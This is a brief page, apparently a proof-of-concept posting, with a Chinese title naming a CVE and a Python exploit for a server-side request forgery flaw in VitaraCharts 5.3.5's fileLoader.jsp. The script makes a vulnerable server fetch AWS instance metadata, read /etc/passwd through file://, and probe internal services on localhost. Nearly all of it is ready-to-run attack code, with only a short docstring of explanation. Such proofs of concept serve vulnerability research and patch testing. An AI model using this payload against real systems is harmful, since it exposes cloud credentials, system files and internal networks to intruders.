CVE-2025-57305：VitaraCharts 5.3.5 fileLoader.jsp SSRF漏洞

# CVE-2025-57305 - VitaraCharts SSRF PoC # Vulnerability: Server-Side Request Forgery in fileLoader.jsp # Affected: VitaraCharts 5.3.5 import requests TARGET_URL = "http://target-host:port/vitara/fileLoader.jsp" def exploit_ssrf(target, payload_url): """ Exploit SSRF vulnerability in VitaraCharts fileLoader.jsp The fileLoader.jsp endpoint accepts a URL parameter and fetches the resource without proper validation, allowing SSRF attacks. """ params = { "file": payload_url } headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } try: response = requests.get(target, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example 1: Read cloud metadata (AWS) print("[*] Attempting to read AWS metadata...") exploit_ssrf(TARGET_URL, "http://169.254.169.254/latest/meta-data/") # Example 2: Read local files via file protocol print("\n[*] Attempting to read local /etc/passwd...") exploit_ssrf(TARGET_URL, "file:///etc/passwd") # Example 3: Internal network scan print("\n[*] Attempting to probe internal service...") exploit_ssrf(TARGET_URL, "http://127.0.0.1:8080/")